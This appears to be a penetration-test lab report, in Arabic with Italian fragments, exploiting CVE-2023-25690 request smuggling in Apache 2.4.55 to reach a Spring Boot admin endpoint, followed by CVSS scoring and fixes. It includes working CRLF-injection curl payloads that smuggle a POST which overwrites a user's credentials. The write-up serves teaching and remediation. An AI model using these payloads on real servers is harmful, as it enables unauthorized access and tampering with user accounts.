
مختبر تهريب طلبات HTTP: Apache 2.4.55 CRLF injection
| المكون | الدور | الإصدار |
|---|---|---|
| Apache HTTP Server | وكيل عكسي | 2.4.55 (قابل للاختراق) |
| Spring Boot (Tomcat مدمج) | API خلفية | 4.x (Java 21) |
| SQLite | قاعدة بيانات | — |
مستخدم ──► Apache :80 (وكيل) ──► Spring Boot :8080 (خلفية) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF غير منقاة
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> محظور
POST /public/register: permette la registrazione degli utenti nel database
POST /public/login: permette il login attraverso la verifica delle credenziali inserite e rilascia un token di sessione
GET /public/dashboard: area riservata degli utenti
GET /api/status: accetta parametro “name”, è un endpoint di esempio per la verifica dello stato dei servizi
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: è una rotta teoricamente inaccessibile al pubblico che permette la modifica dei dati degli utenti agli amministratori
خلال نشاط اختبار الاختراق، تم تحديد ثغرة حرجة في بنية الوكيل العكسي الذي يعرض الخلفية Spring Boot. يتأثر الوكيل Apache HTTP Server الإصدار 2.4.55 بالثغرة CVE-2023-25690 (تهريب طلب HTTP)، والتي تسمح للمهاجم بتجاوز مرشحات الأمان المفروضة على الوكيل والوصول مباشرة إلى نقاط النهاية الإدارية الداخلية غير المحمية.
يستغل الهجوم غياب تنقية أحرف التحكم (CRLF) في RewriteRule الخاصة بـ Apache، مما يسمح بحقن طلب HTTP ثانٍ بين معلمات طلب مشروع نحو الخلفية. أثبت إثبات المفهوم التعديل غير المصرح به لبيانات اعتماد المستخدم في قاعدة البيانات عبر نقطة النهاية /admin/edit/{id}/{newName}/{newPass}، المحمية نظريًا بواسطة قوائم التحكم في الوصول (ACL) للوكيل.
التوصيات: تحديث Apache HTTP Server فورًا إلى الإصدار ≥ 2.4.56، وتعزيز مرشحات الأمان على الوكيل، وتنفيذ طبقة أمان على جانب الخلفية (Spring Security) لجميع نقاط النهاية الحساسة.
تحديد إصدار Apache من خلال تحليل رؤوس HTTP للاستجابة.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
النتيجة: يكشف رأس الخادم Apache/2.4.55. استشارة قاعدة بيانات CVE → تطابق مع CVE-2023-25690.
وفقًا لـ CVE، في هذا الإصدار من Apache، إذا كانت هناك قاعدة RewriteRule تنسخ في عنوان URL الوجهة للخلفية أحرفًا عامة من الطلب إلى الوكيل، فإن النص المنسوخ لا يتم تنقيته، وبالتالي تمر أحرف التحكم (مثل رجوع السطر) أيضًا
Ad esempio: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P sta per modalità proxy
لذا، هدفنا الآن هو اكتشاف أي نقطة نهاية قد تقوم بهذا النسخ على مستوى الوكيل
من تحليل الردود وسلوك التطبيق، يُلاحظ أن الجلسة تُدار عبر JSESSIONID، مما يؤكد استخدام حاوية سيرفلت جافا (مثل Apache Tomcat أو Jetty أو WildFly)، بالإضافة إلى ذلك، يؤدي الطلب إلى نقاط نهاية غير موجودة إلى إرجاع "صفحة خطأ Whitelabel" تشير إلى وجود Spring Boot في الخلفية.
باستخدام سكريبت باش لأتمتة الفحص بالقاموس، تم رسم خرائط نقاط النهاية المكشوفة على الشبكة (على الأرجح جميعها)
النتيجة:
بالنظر إلى أن /service/x و /api/status?name=x يعيدان نفس الرد، يُفهم أنهما يشيران إلى نفس نقطة النهاية الخلفية، بالإضافة إلى أن الطلبات مثل /service/x/y/z (التي على الأرجح غير موجودة) لا تعيد 404، يمكن استنتاج أن نقطة النهاية الأصلية تقبل معلمة وليس متغير مسار، وبالتالي يُستنتج أن الطلبات إلى /service/<خدمة> تتم ترجمتها باستخدام RewriteRule للخلفية Spring Boot (وهو ما كنا نبحث عنه تمامًا). الآن يجب معرفة ما إذا كانت قاعدة RewriteRule هذه وهمية، أي أنها تستخدم تعبيرًا منتظمًا مثل .* أو أنها منظمة جيدًا.
أحاول إدراج أحرف تحكم في الطلب لتقسيم المحتوى المشروع عن المحتوى المخفي:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... الخدمة 'x' قيد التشغيل ومستقرة.
لقد أدخلت معلمة مخصصة للتحقق من تفسير أحرف CRLF بشكل صحيح.
trash_header يقوم بتغليف الرؤوس التي سيدرجها Apache في الطلب إلى الخلفية (وبهذه الطريقة سيتم تفسيرها كنص بسيط لرأس X-Header ولن يكون لها قيمة لأغراض طلب HTTP).
باستخدام tcpdump في حاوية الخلفية، تمكنت من اعتراض طلب HTTP القادم من Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
يرى الخلفية هذا الطلب:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"أحرف التحكم قد سيطرت"
يشير الرد إلى أن الجزء الذي يحتوي على أحرف التحكم قد مر دون إزعاج كهيكل لطلب HTTP نفسه وليس مجرد معلمة (لأن الاسم الذي اعترضته الخلفية هو فقط 'x'). وبالتالي، فقد فرضنا تنسيق طلب HTTP نحو الخلفية وقد استقبله الوكيل، وهذا يفتح الطريق أمام الحمولة الحقيقية للتهريب.
إجبار الوكيل العكسي Apache على إعادة توجيه طلبين متميزين إلى الخلفية Spring Boot، بحيث يصل الطلب الثاني إلى نقطة النهاية /admin/edit/ متجاوزًا مرشح ACL الخاص بـ Apache.
في هذه المرحلة، افترض أن localhost و spring-backend هما على التوالي العناوين العامة للوكيل والخادم. في حالة وجود الوكيل والخلفية في نفس الشبكة (أو المؤسسة)، سيكون spring-backend عنوان IP خاص (والذي سيكون من الصعب معرفته للأسف).
تكمن الثغرة في قاعدة RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
يلتقط الوكيل إدخال المستخدم في $1 ويدرجه في سلسلة الاستعلام بدون تنقية أحرف التحكم (%20, %0d%0a). تفسر الخلفية (Tomcat) هذه الأحرف على أنها إنهاء لعنوان URL و بداية لطلب HTTP جديد على نفس مقبس TCP.
A) GET /service/x → جزء مشروع؛ كل ما يأتي بعد /service/
ينتهي في $1 (معلمة الاسم)
B) %20HTTP/1.1 → [نقطة التقسيم] مسافة تغلق عنوان URL
قبل الأوان في الخلفية
C) %0d%0aHost:...%0d%0a%0d%0a → [حقن الرأس] CRLF لإنهاء الطلب الأول
D) POST /admin/edit/1/HACKED/PWNED → [طلب مهرب] طلب خبيث مخفي نحو
نقطة نهاية الإدارة
E) %20HTTP/1.1 → إصدار HTTP للطلب الثاني
F) %0d%0aContent-Length:%200 → جسم فارغ للـ POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [مصب الرأس] تمتص الرؤوس المضافة
تلقائيًا بواسطة Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
ما يراه Apache (طلب واحد فقط):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
ما يستقبله الخلفية (طلبين على نفس المقبس):
--- الطلب 1 (مشروع، لكن "مبتور") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- الطلب 2 (مهرب) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... الخدمة 'x' قيد التشغيل ومستقرة.
تم إعادة تسمية المستخدم ذو المعرف 1 إلى HACKED بكلمة مرور PWNED — تجاوز كامل لقوائم التحكم في الوصول (ACL) للوكيل.
الوصول المباشر إلى قاعدة البيانات للتأكيد:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| المعرف | الوصف |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling via mod_proxy con RewriteRule/ProxyPassMatch |
| CWE-444 | تفسير غير متسق لطلبات HTTP ('HTTP Request/Response Smuggling') |
| CWE-113 | تحييد غير صحيح لتسلسلات CRLF في رؤوس HTTP ('HTTP Response Splitting') |
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
النتيجة الأساسية: 10.0 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| المقياس |
|---|
النتيجة الزمنية: 9.3 (عالي)
النتيجة البيئية: 8.0 (عالي)
سلسلة المتجه: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
النتيجة الإجمالية: 8.0 — عالي
إضافة RewriteCond تمنع الطلبات التي تحتوي على أحرف تحكم (مسافة، CR، LF) في REQUEST_URI:
<VirtualHost *:80>
ServerName localhost
RewriteEngine on
# BLOCCO CARATTERI DI CONTROLLO
RewriteCond %{REQUEST_URI} [\s\r\n]
RewriteRule ^ - [F,L]
# Regole esistenti
RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
ProxyPassReverse "/public/" "http://spring-backend:8080/public/"
<Location "/admin">
Require all denied
</Location>
</VirtualHost>
F (Forbidden): يعيد خطأ 403 فوريL (Last): يوقف تقييم القواعد التاليةتحديث Apache HTTP Server إلى الإصدار ≥ 2.4.56، حيث يتم فرض تنقية أحرف التحكم في RewriteRule مع العلم [P] على مستوى نواة الخادم.
| الإصدار الحالي | الإصدار المستهدف | الإصلاح |
|---|---|---|
| 2.4.55 | 2.4.56+ | تنقية تلقائية لـ CRLF في mod_proxy |
إضافة spring-boot-starter-security إلى pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
تكوين SecurityFilterChain يحمي نقاط النهاية الإدارية:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
إضافة فحوصات على جميع المعلمات المقبولة من نقاط النهاية (سلسلة الاستعلام، متغيرات المسار، بيانات النموذج):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Verifica che l'utente abbia ruolo ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Accesso negato";
}
// ... operazione consentita solo dopo auth check
}
| نقطة النهاية | رمز HTTP | الطريقة | المعلمات |
|---|
| admin | 403 | GET | (لا معلمات) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (لا معلمات) |
| public/logout | 200 | GET | (لا معلمات) |
| api/status | 200 | GET | (لا معلمات) |
| service/* | 200 | GET | (لا معلمات) |
| نقطة النهاية | الطريقة | الوصول | ملاحظات |
|---|
/public/register | POST | عام | تسجيل المستخدم |
/public/login | POST | عام | تسجيل الدخول، إصدار JSESSIONID |
/public/dashboard | GET | مصادق | منطقة محجوزة |
/public/logout | GET | عام | تدمير الجلسة |
/api/status?name= | GET | عام | فحص الصحة |
/service/{param} | GET | عام | بوابة قابلة للاختراق ($1 في سلسلة الاستعلام) |
/admin/edit/{id}/{n}/{p} | POST | محمي (ACL) | تعديل بيانات اعتماد المستخدم |
/admin/ | * | محظور (403) | ACL Apache |
| المقياس | القيمة | الوصف |
|---|
| متجه الهجوم (AV) | N (الشبكة) | يمكن الوصول إليه من شبكة بعيدة |
| تعقيد الهجوم (AC) | L (منخفض) | لا شروط خاصة |
| الامتيازات المطلوبة (PR) | N (لا شيء) | لا تتطلب مصادقة |
| تفاعل المستخدم (UI) | N (لا شيء) | لا يتطلب تفاعل الضحية |
| النطاق (S) | C (متغير) | المكون القابل للاختراق مختلف عن المتضرر |
| السرية (C) | H (عالي) | الوصول إلى نقاط النهاية المحجوزة |
| التكامل (I) | H (عالي) | تعديل بيانات المستخدم في قاعدة البيانات |
| التوافر (A) | H (عالي) | تسميم ذاكرة التخزين المؤقت للوكيل المحتمل / تلويث المقابس |
| القيمة |
|---|
| الوصف |
|---|
| نضج كود الاستغلال (E) | F (يوجد استغلال وظيفي) | استغلال عامل |
| مستوى العلاج (RL) | O (إصلاح رسمي) | في الإصدارات اللاحقة من Apache، تم إصلاح الخلل |
| ثقة التقرير (RC) | C (مؤكد) | ثغرة مؤكدة وموثقة |
| المقياس | القيمة | الوصف |
|---|
| متجه الهجوم (MAV) | N (الشبكة) | وكيل معروض على الإنترنت |
| تعقيد الهجوم (MAC) | H (عالي) | يتطلب معرفة بنية نقاط النهاية الداخلية |
| الامتيازات المطلوبة (MPR) | L (منخفض) | لا حاجة لأي امتيازات |
| تفاعل المستخدم (MUI) | N (لا شيء) | لا يتطلب تفاعل من مستخدمين خارجيين |
| النطاق (MS) | C (متغير) | انتهاك نظام عبر آخر |
| مقاييس التأثير (MC/MI/MA) | H/H/H | أقصى ضرر (تعديل البيانات في قاعدة البيانات) |
| متطلبات CIA (CR/IR/AR) | H/H/H | نظام حرج (تسجيل دخول المستخدمين) |